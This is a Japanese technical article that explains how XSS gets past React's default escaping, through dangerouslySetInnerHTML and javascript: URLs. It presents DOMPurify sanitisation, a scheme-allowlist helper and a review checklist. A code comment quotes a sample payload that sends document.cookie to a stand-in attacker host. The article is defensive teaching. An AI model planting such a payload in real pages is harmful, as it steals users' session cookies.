Reactを使ったフロントエンド開発では、JSXの式埋め込みが標準でHTMLエスケープされるため、多くの開発者が「Reactを使っていればXSS(クロスサイトスクリプティング)は自動的に防げる」と考えがちです。しかし、この認識は半分だけ正しく、半分は危険な誤解です。Reactには意図的にエスケープを無効化する仕組みが用意されており、そこを正しく理解しないまま使うと、深刻なセキュリティ事故につながります。本記事では、React XSS対策として押さえておくべき技術的な仕組みと、実務で使える具体的な防御策を、コード例を交えて体系的に解説します。
Reactの標準エスケープの仕組みとその限界
Reactの大きな特徴のひとつは、JSX内で {'{変数}'} のように式を埋め込んだ場合、その値が自動的にエスケープされてブラウザに描画される点です。たとえばユーザー入力に <script>alert(1)</script> という文字列が含まれていても、Reactはこれを実行可能なHTMLとしてではなく、単なる文字列としてテキストノードに変換して表示します。
この挙動のおかげで、素朴にJSXへ変数を埋め込むだけの実装であれば、多くのXSSは自然に防がれます。しかし「Reactを使っている=安全」という理解は不十分です。Reactが提供するAPIの中には、この標準エスケープを意図的にバイパスするものがあり、そこを経由すればXSSは成立します。React XSS対策を考える上でまず重要なのは、「どこでエスケープが効かなくなるのか」を正確に把握することです。
危険なパターン1: dangerouslySetInnerHTMLによるエスケープの無効化
何が起きるのか
Reactには dangerouslySetInnerHTML という属性があります。名前が示す通り「危険を承知の上でinnerHTMLを直接セットする」ためのAPIで、CMSから取得したリッチテキストや、サーバーサイドで生成済みのHTMLをそのまま描画したい場合などに使われます。このAPIを使うと、Reactの標準エスケープは完全にスキップされ、渡された文字列はブラウザによって生のHTMLとして解釈されます。
function ArticleBody({ html }) {
return (
<div dangerouslySetInnerHTML={{ __html: html }} />
);
}
ここで html にユーザー入力やサニタイズされていない外部データが混入すると、そのままXSSの温床になります。注意すべきは、ブラウザの仕様上 <script> タグを innerHTML 経由で挿入しても、そのスクリプトは実行されないという点です。この事実だけを見て「scriptタグさえ気をつければ大丈夫」と誤解してしまうケースが少なくありません。
実際には <iframe> や <form>、<img onerror="..."> のようなイベントハンドラ属性を持つタグは、innerHTML経由でも通常どおり描画・実行されます。iframeで外部サイトを埋め込まれたり、formタグで見た目上正規のフォームに偽装したフィッシングフォームを混入されたりすれば、CSRF/XSRF対策が不十分なアプリケーションでは重大なセキュリティインシデントに直結します。
対策
- 原則として dangerouslySetInnerHTML を使わない。 Markdownのレンダリングやリッチテキスト表示が必要な場合も、まずは専用ライブラリでReact要素へパースし、通常のJSXとして描画する方法を検討する。
- どうしても使う必要がある場合は、描画直前に必ずサニタイズ処理を通す。 自前で正規表現によるフィルタを書くのではなく、DOMPurifyのような実績のあるサニタイズライブラリを使い、許可するタグ・属性をホワイトリスト形式で明示的に絞り込む。
- サニタイズは「入力時」ではなく「出力(描画)直前」に行う。 データベースに保存する前にサニタイズしても、後から仕様変更でホワイトリストが緩んだり、別の経路からデータが混入したりするリスクがあるため、描画コンポーネント側で常にサニタイズを通す設計にする。
- iframeやformなど、危険度の高いタグは許可リストから明示的に除外する。 DOMPurifyであれば
FORBID_TAGSオプションでiframe・form・object・embedなどを個別に禁止できる。
サニタイズを組み込んだ実装例は次のようになります。
import DOMPurify from 'dompurify';
function SafeArticleBody({ html }) {
const clean = DOMPurify.sanitize(html, {
FORBID_TAGS: ['iframe', 'form', 'object', 'embed', 'style'],
FORBID_ATTR: ['onerror', 'onload', 'onclick'],
});
return (
<div dangerouslySetInnerHTML={{ __html: clean }} />
);
}
危険なパターン2: javascriptスキームを悪用したURLインジェクション
何が起きるのか
もうひとつの見落としがちな攻撃経路が、<a href> をはじめとするURL属性への javascript: スキームの混入です。href属性の値が javascript: から始まっている場合、ブラウザはそれ以降の文字列をJavaScriptコードとして解釈し、リンクがクリックされた瞬間に実行します。
// ユーザーが入力・選択できるプロフィールURLなどをそのままhrefに渡すと危険
function ProfileLink({ url, children }) {
return <a href={url}>{children}</a>;
}
// url = "javascript:fetch('https://attacker.example/steal?c='+document.cookie)"
// のような値が渡されると、クリック時に任意のコードが実行される
これはReact特有の脆弱性ではなく、HTMLとブラウザの仕様に起因する古典的な攻撃手法ですが、Reactアプリケーションでもユーザー入力を検証せずにそのままhrefへ渡している実装は珍しくありません。プロフィールのWebサイトURL欄、外部リンク投稿機能、CMSで管理者以外も編集できるリンクフィールドなどが典型的な侵入経路になります。
対策
- href値の先頭をユーザー入力で自由に決めさせない設計にする。 内部リンクであれば、パスの先頭に必ず
/を付与する、あるいはサーバー側で発行したIDやスラッグからURLを組み立てる方式にし、ユーザーが入力した文字列をそのままスキーム部分に使わせない。 - 外部URLを受け付ける場合は、許可するスキームを明示的にホワイトリスト化する。
http:とhttps:のみを許可し、それ以外(javascript:、data:、vbscript:など)は拒否またはリンク自体を無効化する。 - URLの検証はクライアント側だけでなくサーバー側でも行う。 クライアントの検証はJavaScriptを無効化されたり、API直叩きで迂回されたりする可能性があるため、保存前のバリデーションを必ずサーバー側にも実装する。
const SAFE_PROTOCOLS = ['http:', 'https:'];
function sanitizeHref(rawUrl) {
try {
const parsed = new URL(rawUrl, window.location.origin);
if (!SAFE_PROTOCOLS.includes(parsed.protocol)) {
return '#';
}
return parsed.toString();
} catch {
// 相対パスなどURLとしてパースできない場合は先頭を強制的に "/" にする
return rawUrl.startsWith('/') ? rawUrl : '/' + rawUrl.replace(/^\/+/, '');
}
}
function ProfileLink({ url, children }) {
return <a href={sanitizeHref(url)}>{children}</a>;
}
なぜ「Reactだから安全」という思い込みが危険なのか
ReactやVue、Angularといったモダンなフロントエンドフレームワークは、共通して「デフォルトでエスケープする」という設計思想を持っています。これはXSS対策として非常に強力な仕組みですが、同時に「フレームワークに任せておけば安全」という油断を生みやすい構造でもあります。
実際には、以下のようなケースでフレームワークの自動エスケープは効きません。
- CMSやリッチテキストエディタから取得したHTMLを、そのまま画面に表示する機能
- 外部APIやユーザー投稿から取得したURLを、検証せずにリンクやリダイレクト先として使う機能
- SVGの
dangerouslySetInnerHTML相当の利用や、Web ComponentsなどReactの管理外でDOM操作を行う機能 - サーバーサイドレンダリング(SSR)時に、テンプレート文字列へ手動で値を埋め込んでいる箇所
つまりXSS対策は「フレームワーク任せ」ではなく、「どこでフレームワークの保護から外れているか」をチーム全員が把握し、その箇所にだけ集中して防御を実装するという発想が重要になります。
チームで実践するReact XSS対策のチェックリスト
コードレビューやセキュリティ監査で確認すべき項目を整理すると、次のようになります。
- dangerouslySetInnerHTMLの使用箇所を洗い出す。 リポジトリ全体を
dangerouslySetInnerHTMLでgrepし、使用箇所を一覧化する。 - 各使用箇所でサニタイズが行われているか確認する。 DOMPurifyなど実績のあるライブラリを経由しているか、独自実装の正規表現フィルタで済ませていないかをチェックする。
- サニタイズのホワイトリスト設定を確認する。
iframe、form、object、embed、on*系イベント属性が許可されていないか確認する。 - href・src等のURL系属性にユーザー入力が渡っている箇所を洗い出す。 プロフィールリンク、外部サイトへのリンク投稿、リダイレクト機能などを重点的に確認する。
- URLのスキームがホワイトリスト方式で検証されているか確認する。
javascript:やその他の危険なスキームを個別にブラックリスト化するのではなく、許可するスキームだけを列挙する方式にする。 - サーバー側でも同様のバリデーションが行われているか確認する。 クライアント側の検証だけに依存していないかをAPIレベルで確認する。
- Content Security Policy(CSP)を設定し、多層防御を行う。 万一XSSペイロードの混入を見逃しても、CSPによってインラインスクリプトの実行や外部リソースの読み込みを制限できるようにしておく。
- 依存ライブラリ(DOMPurify等)を定期的に更新する。 サニタイズライブラリ自体にも脆弱性が報告されることがあるため、バージョンを固定したまま放置しない。
- ユーザー生成コンテンツを扱う機能追加時に、セキュリティレビューを必須プロセスに組み込む。 リッチテキスト機能やURL入力機能を追加するたびに、上記チェックリストを再確認する運用ルールを作る。
実装時に意識したい設計原則
信頼境界を明確にする
アプリケーション内のどのデータが「信頼できる(自社サーバーが生成した、外部からの改ざんが不可能な)」もので、どのデータが「信頼できない(ユーザー入力や外部APIレスポンスなど、内容を制御できない)」ものかを、設計段階で明確に区別することが重要です。信頼できないデータがdangerouslySetInnerHTMLやhref属性に渡る経路を洗い出し、その経路にだけ集中的にサニタイズ処理を配置することで、対策の抜け漏れを減らせます。
デフォルトを安全側に倒す
新しくコンポーネントを実装する際は、「まずJSXの通常のエスケープに任せる実装で書けないか」を最初に検討し、dangerouslySetInnerHTMLやraw HTML表示が本当に必要な場合にのみ、サニタイズ処理とセットで導入するという順序を徹底します。URLについても同様に、まず内部パスのみを許可する設計から始め、外部URLを許可する必要が出てきた時点でスキームのホワイトリスト検証を追加する、という「必要になってから安全に緩める」進め方が推奨されます。
ライブラリ任せにできる部分はライブラリに任せる
HTMLサニタイズやURLパースといった処理は、一見単純に見えても、エッジケースの見落としが致命的な脆弱性につながりやすい領域です。自前で正規表現による除去処理を書くのではなく、DOMPurifyや標準の URL オブジェクトなど、広く使われ継続的にメンテナンスされているライブラリ・APIを使うことで、実装ミスのリスクを下げられます。
まとめ
Reactは標準の状態で強力なXSS対策を備えたフレームワークですが、それは「常に安全」を意味するものではありません。dangerouslySetInnerHTML によるエスケープの無効化と、javascript: スキームを使ったURLインジェクションという2つの代表的な抜け道を正しく理解し、それぞれに対して適切な防御策を講じることが、React XSS対策の実務における最重要ポイントです。
具体的には、dangerouslySetInnerHTMLの使用箇所を最小限に絞り込んだ上でDOMPurify等によるホワイトリスト方式のサニタイズを徹底すること、そしてURL系属性にはスキームのホワイトリスト検証を組み込むことの2点を、チームの標準的な実装ルールとコードレビューのチェックリストに組み込んでおくことが、継続的にXSSリスクを抑える鍵になります。フレームワークの機能を過信せず、「どこで保護が外れるか」を常に意識した設計・実装を心がけましょう。

コメント